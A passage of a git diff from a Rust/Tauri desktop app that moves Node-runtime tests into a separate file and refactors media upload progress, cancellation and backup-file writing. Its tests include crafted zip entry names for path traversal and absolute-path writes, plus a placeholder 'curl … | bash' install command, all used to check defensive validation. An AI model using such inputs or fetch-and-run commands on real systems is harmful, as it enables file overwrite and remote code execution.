zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("path traversal"), - "expected 'path traversal' in: {err}" - ); - } - - #[test] - fn test_validate_zip_rejects_backslash_rooted() { - // Windows-style absolute path using backslash — must reject on every host. - let tmp = make_zip_with_entries(&["\\Windows\\system32\\evil.dll"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("absolute path"), - "expected 'absolute path' in: {err}" - ); - } - - #[test] - fn test_validate_zip_rejects_drive_prefix() { - // Windows drive-letter absolute path — must reject on every host. - let tmp = make_zip_with_entries(&["C:\\evil\\payload.exe"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("absolute path"), - "expected 'absolute path' in: {err}" - ); - } - - #[test] - fn test_validate_zip_rejects_backslash_traversal() { - // Path traversal using Windows separator — must reject on every host. - let tmp = make_zip_with_entries(&["node-v24.18.0-win-x64\\..\\..\\evil"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("path traversal"), - "expected 'path traversal' in: {err}" - ); - } - - // ── verify_node_tree layout tests ───────────────────────────────────────── - - #[test] - fn test_verify_node_tree_unix_layout_passes() { - let tmp = tempfile::TempDir::new().unwrap(); - let bin = tmp.path().join("bin"); - std::fs::create_dir_all(&bin).unwrap(); - std::fs::write(bin.join("node"), b"").unwrap(); - std::fs::write(bin.join("npm"), b"").unwrap(); - // On non-Windows the unix branch is active — this must pass. - #[cfg(not(windows))] - assert!(verify_node_tree(tmp.path()).is_ok()); - // On Windows the windows branch is active — unix layout must fail. - #[cfg(windows)] - assert!(verify_node_tree(tmp.path()).is_err()); - } - - #[test] - fn test_verify_node_tree_unix_layout_missing_npm_fails() { - let tmp = tempfile::TempDir::new().unwrap(); - let bin = tmp.path().join("bin"); - std::fs::create_dir_all(&bin).unwrap(); - std::fs::write(bin.join("node"), b"").unwrap(); - // npm intentionally absent - #[cfg(not(windows))] - { - let err = verify_node_tree(tmp.path()).unwrap_err(); - assert!(err.contains("bin/npm"), "err: {err}"); - } - } - - #[test] - fn test_verify_node_tree_windows_layout_passes() { - let tmp = tempfile::TempDir::new().unwrap(); - std::fs::write(tmp.path().join("node.exe"), b"").unwrap(); - std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap(); - std::fs::write(tmp.path().join("npm"), b"").unwrap(); - // On Windows the windows branch is active — this must pass. - #[cfg(windows)] - assert!(verify_node_tree(tmp.path()).is_ok()); - // On non-Windows the unix branch is active — windows-layout root files - // don't satisfy bin/node + bin/npm, so this must fail. - #[cfg(not(windows))] - assert!(verify_node_tree(tmp.path()).is_err()); - } - - #[test] - fn test_verify_node_tree_windows_layout_missing_npm_shim_fails() { - let tmp = tempfile::TempDir::new().unwrap(); - std::fs::write(tmp.path().join("node.exe"), b"").unwrap(); - std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap(); - // npm POSIX shim intentionally absent - #[cfg(windows)] - { - let err = verify_node_tree(tmp.path()).unwrap_err(); - assert!(err.contains("npm"), "err: {err}"); - } - } -} +#[path = "managed_node_tests.rs"] +mod tests; diff --git a/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs b/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs new file mode 100644 index 0000000000..a8e1d7f4c8 --- /dev/null +++ b/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs @@ -0,0 +1,481 @@ +use super::*; + +#[test] +fn test_npm_eacces_hint_guidance_mentions_buzz_private_dir() { + let hint = npm_eacces_hint("EACCES: permission denied", "npm install -g foo").unwrap(); + assert!( + hint.contains("Buzz's private Node tools directory"), + "hint: {hint}" + ); +} + +#[test] +fn test_rewrite_npm_install_uses_private_prefix() { + assert_eq!( + rewrite_npm_global_install( + "npm install -g @agentclientprotocol/codex-acp", + "'/tmp/Buzz Node'" + ), + "npm install --global --prefix '/tmp/Buzz Node' @agentclientprotocol/codex-acp" + ); +} + +#[test] +fn test_rewrite_npm_i_uses_private_prefix() { + assert_eq!( + rewrite_npm_global_install("npm i -g some-package", "'/tmp/buzz'"), + "npm i --global --prefix '/tmp/buzz' some-package" + ); +} + +#[test] +fn test_rewrite_npm_uninstall_uses_private_prefix() { + assert_eq!( + rewrite_npm_global_install("npm uninstall -g @zed-industries/codex-acp", "'/tmp/buzz'"), + "npm uninstall --global --prefix '/tmp/buzz' @zed-industries/codex-acp" + ); +} + +#[test] +fn test_rewrite_ignores_non_global_command() { + assert_eq!( + rewrite_npm_global_install("npm install foo", "'/tmp/buzz'"), + "npm install foo" + ); +} + +#[test] +fn test_shell_quote_escapes_single_quotes() { + assert_eq!( + shell_quote(std::path::Path::new("/tmp/Buzz's Node")), + "'/tmp/Buzz'\\''s Node'" + ); +} + +// ── zip validation tests ────────────────────────────────────────────────────── + +/// Build an in-memory zip archive with the supplied entry names and return +/// a temporary file containing it (zip::ZipArchive requires Seek). +fn make_zip_with_entries(entry_names: &[&str]) -> tempfile::NamedTempFile { + let mut buf: Vec = Vec::new(); + { + let mut writer = zip::ZipWriter::new(std::io::Cursor::new(&mut buf)); + let opts = zip::write::SimpleFileOptions::default(); + for name in entry_names { + writer.start_file(*name, opts).unwrap(); + } + writer.finish().unwrap(); + } + let mut tmp = tempfile::NamedTempFile::new().unwrap(); + std::io::Write::write_all(&mut tmp, &buf).unwrap(); + tmp +} + +#[test] +fn test_validate_zip_accepts_normal_entries() { + let tmp = make_zip_with_entries(&[ + "node-v24.18.0-win-x64/node.exe", + "node-v24.18.0-win-x64/npm.cmd", + "node-v24.18.0-win-x64/npm", + ]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + assert!(validate_managed_node_zip_entries(&archive).is_ok()); +} + +#[test] +fn test_validate_zip_rejects_absolute_path() { + let tmp = make_zip_with_entries(&["/etc/passwd"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("absolute path"), + "expected 'absolute path' in: {err}" + ); +} + +#[test] +fn test_validate_zip_rejects_path_traversal() { + let tmp = make_zip_with_entries(&["../../../etc/passwd"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("path traversal"), + "expected 'path traversal' in: {err}" + ); +} + +#[test] +fn test_validate_zip_rejects_backslash_rooted() { + // Windows-style absolute path using backslash — must reject on every host. + let tmp = make_zip_with_entries(&["\\Windows\\system32\\evil.dll"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("absolute path"), + "expected 'absolute path' in: {err}" + ); +} + +#[test] +fn test_validate_zip_rejects_drive_prefix() { + // Windows drive-letter absolute path — must reject on every host. + let tmp = make_zip_with_entries(&["C:\\evil\\payload.exe"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("absolute path"), + "expected 'absolute path' in: {err}" + ); +} + +#[test] +fn test_validate_zip_rejects_backslash_traversal() { + // Path traversal using Windows separator — must reject on every host. + let tmp = make_zip_with_entries(&["node-v24.18.0-win-x64\\..\\..\\evil"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("path traversal"), + "expected 'path traversal' in: {err}" + ); +} + +// ── verify_node_tree layout tests ───────────────────────────────────────────── + +#[test] +fn test_verify_node_tree_unix_layout_passes() { + let tmp = tempfile::TempDir::new().unwrap(); + let bin = tmp.path().join("bin"); + std::fs::create_dir_all(&bin).unwrap(); + std::fs::write(bin.join("node"), b"").unwrap(); + std::fs::write(bin.join("npm"), b"").unwrap(); + // On non-Windows the unix branch is active — this must pass. + #[cfg(not(windows))] + assert!(verify_node_tree(tmp.path()).is_ok()); + // On Windows the windows branch is active — unix layout must fail. + #[cfg(windows)] + assert!(verify_node_tree(tmp.path()).is_err()); +} + +#[test] +fn test_verify_node_tree_unix_layout_missing_npm_fails() { + let tmp = tempfile::TempDir::new().unwrap(); + let bin = tmp.path().join("bin"); + std::fs::create_dir_all(&bin).unwrap(); + std::fs::write(bin.join("node"), b"").unwrap(); + // npm intentionally absent + #[cfg(not(windows))] + { + let err = verify_node_tree(tmp.path()).unwrap_err(); + assert!(err.contains("bin/npm"), "err: {err}"); + } +} + +#[test] +fn test_verify_node_tree_windows_layout_passes() { + let tmp = tempfile::TempDir::new().unwrap(); + std::fs::write(tmp.path().join("node.exe"), b"").unwrap(); + std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap(); + std::fs::write(tmp.path().join("npm"), b"").unwrap(); + // On Windows the windows branch is active — this must pass. + #[cfg(windows)] + assert!(verify_node_tree(tmp.path()).is_ok()); + // On non-Windows the unix branch is active — windows-layout root files + // don't satisfy bin/node + bin/npm, so this must fail. + #[cfg(not(windows))] + assert!(verify_node_tree(tmp.path()).is_err()); +} + +#[test] +fn test_verify_node_tree_windows_layout_missing_npm_shim_fails() { + let tmp = tempfile::TempDir::new().unwrap(); + std::fs::write(tmp.path().join("node.exe"), b"").unwrap(); + std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap(); + // npm POSIX shim intentionally absent + #[cfg(windows)] + { + let err = verify_node_tree(tmp.path()).unwrap_err(); + assert!(err.contains("npm"), "err: {err}"); + } +} + +// ── should_invalidate_adapter / orphan policy pure unit tests ───────────────── + +#[test] +fn test_should_invalidate_adapter_invalidates_managed_shim_when_orphaned() { + let prefix = std::path::Path::new("/managed/npm/bin"); + let shim = prefix.join("codex-acp"); + assert!( + should_invalidate_adapter(&shim, prefix, true), + "managed shim + orphaned runtime must be invalidated" + ); +} + +#[test] +fn test_should_invalidate_adapter_keeps_external_adapter_when_orphaned() { + let prefix = std::path::Path::new("/managed/npm/bin"); + let external = std::path::Path::new("/usr/local/bin/codex-acp"); + assert!( + !should_invalidate_adapter(external, prefix, true), + "external adapter must not be invalidated even when Node is orphaned" + ); +} + +#[test] +fn test_should_invalidate_adapter_keeps_managed_shim_when_node_healthy() { + let prefix = std::path::Path::new("/managed/npm/bin"); + let shim = prefix.join("codex-acp"); + assert!( + !should_invalidate_adapter(&shim, prefix, false), + "managed shim must not be invalidated when Node is healthy" + ); +} + +#[test] +fn test_resolve_adapter_path_returns_none_when_binary_absent() { + let commands: &[&str] = &["nonexistent-buzz-test-binary-xyz"]; + let adapter_install_commands: &[&str] = &["curl -fsSL https://example.com | bash"]; + assert!( + resolve_adapter_path(commands, adapter_install_commands).is_none(), + "must return None when the command is not on PATH" + ); +} + +// ── probe_node seam regressions ─────────────────────────────────────────────── +// +// All four scenarios drive probe_node() directly — the same +// tempfile/deadline/cleanup/status/version path used by managed_node_runtime_ready. +// Each test CAN fail if production: +// - drops process_group(0) → descendant-holds-stdout assertion (d) fails +// (tempfile transport still returns promptly; +// the sleep survives and kill($!,0) returns 0) +// - skips group-kill on a path → hung-binary test exceeds margin +// - ignores exit_status.success() → nonzero-exit test returns true +// - skips version comparison → wrong-version test returns true +// +// Script files are written into a TempDir (no open write fd at spawn time) +// to avoid ETXTBSY on Linux. + +/// Scenario 1 — descendant holds stdout write-end, direct child exits immediately. +/// +/// The script backgrounds a 60-second sleep (inheriting stdout), records both the +/// script's own PID (`$$`) and the sleep's PID (`$!`) to sidecar files, then exits +/// with the expected version string. Four assertions: +/// (a) bounded return — would hang ~60 s if tempfile transport regressed to pipe; +/// (b) correct result; +/// (c) process group dead after return — catches skipped-cleanup-on-success: if +/// the group-kill is absent but `process_group(0)` is still present, a live +/// member in the group is detectable; +/// (d) descendant PID dead after return — catches dropped `process_group(0)`: if +/// the call is removed the sleep stays in the runner's group (not the probe's), +/// `kill(-pgid,0)` is vacuously ESRCH, but `kill(desc_pid,0)` returns 0 and +/// this assertion fails. This is the canonical mutation for (c). +#[cfg(unix)] +#[test] +fn test_probe_node_descendant_holds_stdout_returns_promptly_and_kills_group() { + use std::os::unix::fs::PermissionsExt; + let tmp_dir = tempfile::TempDir::new().unwrap(); + let script = tmp_dir.path().join("probe.sh"); + let pgid_file = tmp_dir.path().join("pgid"); + let desc_pid_file = tmp_dir.path().join("desc_pid"); + let pgid_file_path = pgid_file.to_str().unwrap().to_owned(); + let desc_pid_file_path = desc_pid_file.to_str().unwrap().to_owned(); + // Line 1 of script: record the script's own PID (= PGID after process_group(0)). + // Line 2: background the sleep and record its PID. + // Line 3: emit the expected version and exit so the direct child exits promptly. + let script_content = format!( + "#!/bin/sh\necho $$ > {pgid_file_path}\n/bin/sleep 60 &\necho $! > {desc_pid_file_path}\necho v24.18.0\nexit 0\n" + ); + std::fs::write(&script, script_content.as_bytes()).unwrap(); + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap(); + + let probe_timeout = std::time::Duration::from_secs(3); + let t = std::time::Instant::now(); + let result = probe_node(&script, "v24.18.0", probe_timeout); + let elapsed = t.elapsed(); + + // Give the group-kill a moment to propagate before checking liveness. + std::thread::sleep(std::time::Duration::from_millis(200)); + + // (a) bounded return — tempfile transport must not hang on the descendant's + // retained pipe write-end. + assert!( + elapsed < probe_timeout + std::time::Duration::from_secs(2), + "probe_node hung — likely descendant retained pipe write-end: elapsed {elapsed:?}" + ); + // (b) correct result + assert!(result, "probe_node must return true for matching version"); + + // (c) process group dead — catches skipped-cleanup: if the group-kill on the + // success path is removed while process_group(0) is still present, the + // sleep remains in the probe's group and kill(-pgid,0) returns 0. + let pgid_str = std::fs::read_to_string(&pgid_file) + .expect("script must have written its PID to the pgid sidecar"); + let pgid: i32 = pgid_str + .trim() + .parse() + .expect("pgid sidecar must contain a numeric PID"); + let group_alive = unsafe { libc::kill(-pgid, 0) } == 0; + assert!( + !group_alive, + "process group {pgid} must be dead after probe_node" + ); + + // (d) descendant PID dead — catches dropped process_group(0): without that + // call the sleep is never in the probe's group, so kill(-pgid,0) is + // vacuously ESRCH while the sleep survives. Asserting the descendant's + // own PID is dead proves the sleep was actually killed. + let desc_pid_str = std::fs::read_to_string(&desc_pid_file) + .expect("script must have written the sleep PID to the desc_pid sidecar"); + let desc_pid: libc::pid_t = desc_pid_str + .trim() + .parse() + .expect("desc_pid sidecar must contain a numeric PID"); + // Pre-assert cleanup: if the descendant is somehow still alive, kill it so + // a failing test does not leave a 60-second sleep in the runner's process group. + let desc_alive = unsafe { libc::kill(desc_pid, 0) } == 0; + if desc_alive { + unsafe { libc::kill(desc_pid, libc::SIGKILL) }; + } + assert!( + !desc_alive, + "descendant PID {desc_pid} must be dead after probe_node — \ + if process_group(0) is dropped, the sleep escapes into the runner's group \ + and is never killed by the group-kill" + ); +} + +/// Scenario 2 — direct hang: probe_node must traverse the real try_wait +/// deadline and return false. Does NOT call kill_probe_group directly. +/// +/// This test FAILS if the deadline loop in probe_node is broken or if the +/// timeout/kill path is not exercised (e.g., missing group-kill exits the +/// loop early via a different mechanism). +#[cfg(unix)] +#[test] +fn test_probe_node_times_out_on_hung_binary() { + use std::os::unix::fs::PermissionsExt; + let tmp_dir = tempfile::TempDir::new().unwrap(); + let script = tmp_dir.path().join("hung.sh"); + std::fs::write(&script, b"#!/bin/sh\n/bin/sleep 30\n").unwrap(); + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap(); + + let probe_timeout = std::time::Duration::from_secs(3); + let t = std::time::Instant::now(); + let result = probe_node(&script, "v24.18.0", probe_timeout); + let elapsed = t.elapsed(); + + assert!(!result, "probe_node must return false for a hung binary"); + // Must have traversed the deadline (not returned early via a bug). + assert!( + elapsed >= probe_timeout, + "probe_node returned before deadline: {elapsed:?} < {probe_timeout:?}" + ); + // Must not hang past the deadline by more than the poll interval + margin. + assert!( + elapsed < probe_timeout + std::time::Duration::from_secs(3), + "probe_node exceeded deadline by too much: {elapsed:?}" + ); +} + +/// Scenario 3 — non-zero exit: probe_node must return false even when stdout +/// contains the expected version string. +/// +/// This test FAILS if probe_node skips or inverts the exit_status.success() check. +#[cfg(unix)] +#[test] +fn test_probe_node_returns_false_on_nonzero_exit() { + use std::os::unix::fs::PermissionsExt; + let tmp_dir = tempfile::TempDir::new().unwrap(); + let script = tmp_dir.path().join("fail.sh"); + // Prints the expected version string but exits non-zero. + std::fs::write(&script, b"#!/bin/sh\necho v24.18.0\nexit 1\n").unwrap(); + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap(); + + let result = probe_node(&script, "v24.18.0", std::time::Duration::from_secs(3)); + assert!( + !result, + "probe_node must return false when the process exits non-zero" + ); +} + +/// Scenario 4 — wrong version output: probe_node must return false when stdout +/// does not match expected_version. +/// +/// This test FAILS if probe_node skips or incorrectly performs the version comparison. +#[cfg(unix)] +#[test] +fn test_probe_node_returns_false_on_wrong_version_output() { + use std::os::unix::fs::PermissionsExt; + let tmp_dir = tempfile::TempDir::new().unwrap(); + let script = tmp_dir.path().join("wrongver.sh"); + std::fs::write(&script, b"#!/bin/sh\necho v99.0.0\nexit 0\n").unwrap(); + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap(); + + let result = probe_node(&script, "v24.18.0", std::time::Duration::from_secs(3)); + assert!( + !result, + "probe_node must return false when stdout version does not match expected" + ); +} + +/// Windows-shaped seam: non-zero exit via .bat file. +/// +/// Drives the same probe_node path on Windows (terminate_process / taskkill /T /F). +/// This test FAILS if probe_node ignores exit_status.success() on Windows. +#[cfg(windows)] +#[test] +fn test_probe_node_windows_returns_false_on_nonzero_exit() { + let tmp_dir = tempfile::TempDir::new().unwrap(); + let bat = tmp_dir.path().join("fail.bat"); + // Prints the expected version but exits non-zero — must still fail. + std::fs::write(&bat, b"@echo off\r\necho v24.18.0\r\nexit /b 1\r\n").unwrap(); + + let result = probe_node(&bat, "v24.18.0", std::time::Duration::from_secs(3)); + assert!( + !result, + "probe_node must return false when the .bat exits non-zero (Windows)" + ); +} + +/// Windows-shaped seam: wrong version output via .bat file. +/// +/// This test FAILS if probe_node skips the version comparison on Windows. +#[cfg(windows)] +#[test] +fn test_probe_node_windows_returns_false_on_wrong_version_output() { + let tmp_dir = tempfile::TempDir::new().unwrap(); + let bat = tmp_dir.path().join("wrongver.bat"); + std::fs::write(&bat, b"@echo off\r\necho v99.0.0\r\nexit /b 0\r\n").unwrap(); + + let result = probe_node(&bat, "v24.18.0", std::time::Duration::from_secs(3)); + assert!( + !result, + "probe_node must return false when stdout version does not match (Windows)" + ); +} + +/// Returns false when the node binary path does not exist (fast path, no spawn). +#[test] +fn test_managed_node_runtime_ready_returns_false_when_binary_absent() { + let Some(node) = crate::managed_agents::buzz_managed_node_bin_path() else { + assert!( + !managed_node_runtime_ready(), + "managed_node_runtime_ready must return false when no path resolves" + ); + return; + }; + if node.is_file() { + return; + } + assert!( + !managed_node_runtime_ready(), + "managed_node_runtime_ready must return false when the binary file does not exist" + ); +} diff --git a/desktop/src-tauri/src/commands/agents_deploy.rs b/desktop/src-tauri/src/commands/agents_deploy.rs index 9bb0f6230d..e06f176216 100644 --- a/desktop/src-tauri/src/commands/agents_deploy.rs +++ b/desktop/src-tauri/src/commands/agents_deploy.rs @@ -76,7 +76,7 @@ pub(super) fn build_launch_block( policy_env.insert(SESSION_TITLE_ENV_VAR.into(), value); } if let Some(value) = - crate::managed_agents::spawn_hash::effective_team_instructions(record, teams) + crate::managed_agents::spawn_snapshot::effective_team_instructions(record, teams) { policy_env.insert("BUZZ_ACP_TEAM_INSTRUCTIONS".into(), value); } diff --git a/desktop/src-tauri/src/commands/export_util.rs b/desktop/src-tauri/src/commands/export_util.rs index ded14679c1..e12cbd19e1 100644 --- a/desktop/src-tauri/src/commands/export_util.rs +++ b/desktop/src-tauri/src/commands/export_util.rs @@ -35,8 +35,8 @@ pub async fn pick_save_path( /// user cancelled the dialog. /// /// NOT for secrets: the write is plain `std::fs::write` (no atomic commit, no -/// 0o600). Secret exports go through `pick_save_path` + -/// `key_backup::write_backup_file`. +/// 0o600). Secret exports go through `pick_save_path` and a dedicated +/// secret-file writer such as `key_backup::write_portable_backup_file`. pub async fn save_bytes_with_dialog( app: &AppHandle, suggested_filename: &str, diff --git a/desktop/src-tauri/src/commands/identity.rs b/desktop/src-tauri/src/commands/identity.rs index 33ecf3cfca..bddf2e725a 100644 --- a/desktop/src-tauri/src/commands/identity.rs +++ b/desktop/src-tauri/src/commands/identity.rs @@ -297,9 +297,10 @@ pub async fn verify_ncryptsec_backup( /// Save a portable copy of an `ncryptsec1…` backup to a user-chosen path. /// /// The input must parse as a structurally valid NIP-49 payload. The dialog is -/// selection-only; the write uses secret-file semantics (atomic + 0o600). -/// Never mutates canonical app state. Returns the chosen path, or `None` when -/// the user cancelled. +/// selection-only; the write uses the exact save-panel-authorized path with +/// owner-only permissions, sync, and reread verification. Existing files are +/// preserved rather than truncated. Never mutates canonical app state. Returns +/// the chosen path, or `None` when the user cancelled. #[tauri::command] pub async fn save_ncryptsec_copy( ncryptsec: String, @@ -324,7 +325,7 @@ pub async fn save_ncryptsec_copy( let dest_for_write = dest.clone(); tokio::task::spawn_blocking(move || { - crate::key_backup::write_backup_file(&dest_for_write, &normalized) + crate::key_backup::write_portable_backup_file(&dest_for_write, &normalized) }) .await .map_err(|e| format!("spawn_blocking failed: {e}"))??; diff --git a/desktop/src-tauri/src/commands/media.rs b/desktop/src-tauri/src/commands/media.rs index ed3b340238..86a91a9842 100644 --- a/desktop/src-tauri/src/commands/media.rs +++ b/desktop/src-tauri/src/commands/media.rs @@ -3,17 +3,17 @@ use nostr::{EventBuilder, JsonUtil, Keys, Kind, Tag, Timestamp}; use serde::{Deserialize, Serialize}; use sha2::{Digest, Sha256}; use tauri::State; +use tokio_util::sync::CancellationToken; use crate::app_state::AppState; -use crate::relay::{ - classify_request_error, parse_json_response, relay_api_base_url_with_override, - relay_error_message, -}; +use crate::relay::{parse_json_response, relay_api_base_url_with_override, relay_error_message}; use super::media_transcode::{ has_heic_extension, is_heic_file, is_video_file, transcode_and_extract_poster, - transcode_heic_path_to_jpeg_bytes, + transcode_and_extract_poster_with_cancellation, transcode_heic_path_to_jpeg_bytes, + transcode_heic_path_to_jpeg_bytes_with_cancellation, }; +use super::media_upload_progress::{emit_media_upload_phase, send_upload_attempt, UploadAttempt}; #[derive(Debug, Clone, Serialize, Deserialize)] pub struct BlobDescriptor { @@ -410,51 +410,6 @@ fn should_retry_legacy_upload(status: reqwest::StatusCode) -> bool { ) } -async fn send_upload_attempt( - state: &AppState, - url: String, - auth_header: &str, - mime: &str, - sha256: &str, - body: bytes::Bytes, - progress: Option<&(tauri::AppHandle, String)>, -) -> Result { - let req = state - .http_client - .put(url) - .header("Authorization", auth_header) - .header("Content-Type", mime) - .header("X-SHA-256", sha256); - - let response = if let Some((app, progress_id)) = progress { - use tauri::Emitter; - let app = app.clone(); - let progress_id = progress_id.clone(); - let total = body.len() as u64; - let chunk_size = 64 * 1024; - let chunk_count = body.len().div_ceil(chunk_size); - let mut sent: u64 = 0; - let stream = futures_util::stream::iter((0..chunk_count).map(move |i| { - let start = i * chunk_size; - let end = usize::min(start + chunk_size, body.len()); - let chunk = body.slice(start..end); - sent += chunk.len() as u64; - let _ = app.emit( - "media-upload-progress", - serde_json::json!({ "id": progress_id, "sent": sent, "total": total }), - ); - Ok::(chunk) - })); - req.header(reqwest::header::CONTENT_LENGTH, total) - .body(reqwest::Body::wrap_stream(stream)) - .send() - .await - } else { - req.body(body).send().await - }; - response.map_err(|error| classify_request_error(&error)) -} - pub(crate) async fn upload_image_bytes( body: Vec, state: &AppState, @@ -464,7 +419,7 @@ pub(crate) async fn upload_image_bytes( return Err("profile avatar must be an image".to_string()); } let body = sanitize_image_for_upload(body, &mime)?; - do_upload(body, &mime, state, None).await + do_upload(body, &mime, state, None, None).await } async fn do_upload( @@ -472,6 +427,7 @@ async fn do_upload( mime: &str, state: &AppState, progress: Option<(tauri::AppHandle, String)>, + cancellation: Option<&CancellationToken>, ) -> Result { let sha256 = hex::encode(Sha256::digest(&body)); @@ -494,25 +450,34 @@ async fn do_upload( URL_SAFE_NO_PAD.encode(auth_event.as_json().as_bytes()) ); let body = bytes::Bytes::from(body); + if let Some((app, progress_id)) = progress.as_ref() { + emit_media_upload_phase(app, Some(progress_id.as_str()), "uploading"); + } let mut resp = send_upload_attempt( state, - format!("{base_url}/upload"), - &auth_header, - mime, - &sha256, - body.clone(), - progress.as_ref(), + UploadAttempt { + url: format!("{base_url}/upload"), + auth_header: &auth_header, + mime, + sha256: &sha256, + body: body.clone(), + progress: progress.as_ref(), + cancellation, + }, ) .await?; if should_retry_legacy_upload(resp.status()) { resp = send_upload_attempt( state, - format!("{base_url}/media/upload"), - &auth_header, - mime, - &sha256, - body, - progress.as_ref(), + UploadAttempt { + url: format!("{base_url}/media/upload"), + auth_header: &auth_header, + mime, + sha256: &sha256, + body, + progress: progress.as_ref(), + cancellation, + }, ) .await?; } @@ -559,7 +524,7 @@ pub async fn upload_media( let mime = detect_and_validate_mime(&body)?; let body = sanitize_image_for_upload(body, &mime)?; - do_upload(body, &mime, &state, None).await + do_upload(body, &mime, &state, None, None).await } /// Read a picked path through the TOCTOU-safe pipeline (fd pin → sniff → @@ -573,6 +538,7 @@ async fn process_picked_path( path: std::path::PathBuf, state: &AppState, images_only: bool, + progress: Option<(tauri::AppHandle, String)>, ) -> Result { // Pin the inode by opening the fd BEFORE spawn_blocking. This prevents a // local attacker from swapping the file between dialog return and read. @@ -639,10 +605,9 @@ async fn process_picked_path( // Upload video first, then poster (best-effort). If poster upload fails, // the video descriptor is returned without an image field. - let mut descriptor = do_upload(body, &mime, state, None).await?; - + let mut descriptor = do_upload(body, &mime, state, progress, None).await?; if let Some(poster) = poster_bytes { - match do_upload(poster, "image/jpeg", state, None).await { + match do_upload(poster, "image/jpeg", state, None, None).await { Ok(poster_desc) => descriptor.image = Some(poster_desc.url), Err(e) => eprintln!("buzz-desktop: poster upload failed (non-fatal): {e}"), } @@ -675,6 +640,7 @@ async fn process_picked_path( #[tauri::command] pub async fn pick_and_upload_media( app: tauri::AppHandle, + progress_id: Option, state: State<'_, AppState>, ) -> Result, String> { use tauri_plugin_dialog::DialogExt; @@ -694,7 +660,8 @@ pub async fn pick_and_upload_media( let mut descriptors = Vec::with_capacity(file_paths.len()); for file_path in file_paths { let path = file_path.as_path().ok_or("invalid path")?.to_path_buf(); - let descriptor = process_picked_path(path, &state, false).await?; + let progress = progress_id.clone().map(|id| (app.clone(), id)); + let descriptor = process_picked_path(path, &state, false, progress).await?; descriptors.push(descriptor); } @@ -735,30 +702,37 @@ pub async fn pick_and_upload_image( }; let path = file_path.as_path().ok_or("invalid path")?.to_path_buf(); - let descriptor = process_picked_path(path, &state, true).await?; + let descriptor = process_picked_path(path, &state, true, None).await?; Ok(Some(descriptor)) } -/// Upload raw bytes directly (for paste and drag-drop). -/// -/// The renderer already has the bytes in memory from the clipboard/drag event. -/// If the bytes are a video, they're written to a temp file, transcoded via -/// ffmpeg, and the transcoded output is uploaded instead. -#[tauri::command] -pub async fn upload_media_bytes( +pub(super) async fn upload_media_bytes_inner( data: Vec, filename: Option, progress_id: Option, app: tauri::AppHandle, state: State<'_, AppState>, + cancellation: Option<&CancellationToken>, ) -> Result { if data.is_empty() { return Err("empty upload".to_string()); } + if cancellation.is_some_and(CancellationToken::is_cancelled) { + return Err("upload cancelled".to_string()); + } + + emit_media_upload_phase(&app, progress_id.as_deref(), "preparing"); + + let heic_by_extension = filename + .as_deref() + .is_some_and(|name| has_heic_extension(std::path::Path::new(name))); + let (body, poster_bytes) = if is_video_file(&data) { + emit_media_upload_phase(&app, progress_id.as_deref(), "processing-video"); // Video: write to temp → transcode + extract poster → read results. // All blocking I/O runs off the async runtime via spawn_blocking. + let cancellation = cancellation.cloned(); tokio::task::spawn_blocking(move || -> Result<(Vec, Option>), String> { let tmp_input = std::env::temp_dir().join(format!("buzz-drop-{}", uuid::Uuid::new_v4())); @@ -766,17 +740,19 @@ pub async fn upload_media_bytes( let result = (|| { std::fs::write(&tmp_input, &data) .map_err(|e| format!("failed to write temp file: {e}"))?; - transcode_and_extract_poster(&tmp_input) + transcode_and_extract_poster_with_cancellation(&tmp_input, cancellation.as_ref()) })(); let _ = std::fs::remove_file(&tmp_input); result }) .await .map_err(|e| format!("transcode task failed: {e}"))?? - } else if is_heic_file(&data) { + } else if is_heic_file(&data) || heic_by_extension { + emit_media_upload_phase(&app, progress_id.as_deref(), "converting-image"); // HEIC/HEIF still pasted/dropped: no filename here, so detection is // magic-bytes only. ffmpeg needs a path, so write to temp, transcode // to JPEG, and clean up. (Mirrors mobile's pre-upload transcode.) + let cancellation = cancellation.cloned(); tokio::task::spawn_blocking(move || -> Result<(Vec, Option>), String> { let tmp_input = std::env::temp_dir().join(format!("buzz-drop-{}", uuid::Uuid::new_v4())); @@ -784,7 +760,11 @@ pub async fn upload_media_bytes( let result = (|| { std::fs::write(&tmp_input, &data) .map_err(|e| format!("failed to write temp file: {e}"))?; - transcode_heic_path_to_jpeg_bytes(&tmp_input).map(|jpeg| (jpeg, None)) + 